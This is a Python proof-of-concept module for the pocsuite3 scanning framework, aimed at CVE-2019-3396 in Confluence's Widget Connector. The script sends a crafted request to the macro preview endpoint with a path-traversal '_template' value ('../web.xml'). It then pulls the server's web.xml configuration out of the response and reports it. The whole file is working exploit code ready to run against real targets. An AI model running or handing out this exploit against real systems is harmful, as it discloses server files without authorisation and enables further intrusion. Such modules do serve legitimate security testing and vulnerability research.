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import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
class DemoPOC(POCBase):
vulID = '97898' # ssvid
version = '1.0'
author = ['w7ay']
vulDate = '2019-04-04'
createDate = '2019-04-04'
updateDate = '2019-04-04'
references = ['https://www.seebug.org/vuldb/ssvid-97898']
name = 'Confluence Widget Connector path traversal (CVE-2019-3396)'
appPowerLink = ''
appName = 'Confluence'
appVersion = ''
vulType = 'Romote Code Execution'
desc = '''2019 年 3 月 28 日,Confluence 官方发布预警 ,指出 Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击 者能利用此漏洞能够实现目录穿越与远程代码执行,同时该漏洞被赋予编号 CVE2019-3396。'''
samples = []
install_requires = ['']
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _verify(self):
result = {}
filename = "../web.xml"
limitSize = 1000
paylaod = self.url + "/rest/tinymce/1/macro/preview"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Referer": self.url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
"Content-Type": "application/json; charset=utf-8"
}
data = '{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
r = requests.post(paylaod, data=data, headers=headers)
if r.status_code == 200 and "</web-app>" in r.text:
m = re.search('<web-app[\s\S]+<\/web-app>', r.text)
if m:
content = m.group()[:limitSize]
result['FileInfo'] = {}
result['FileInfo']['Filename'] = filename
result['FileInfo']['Content'] = content
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
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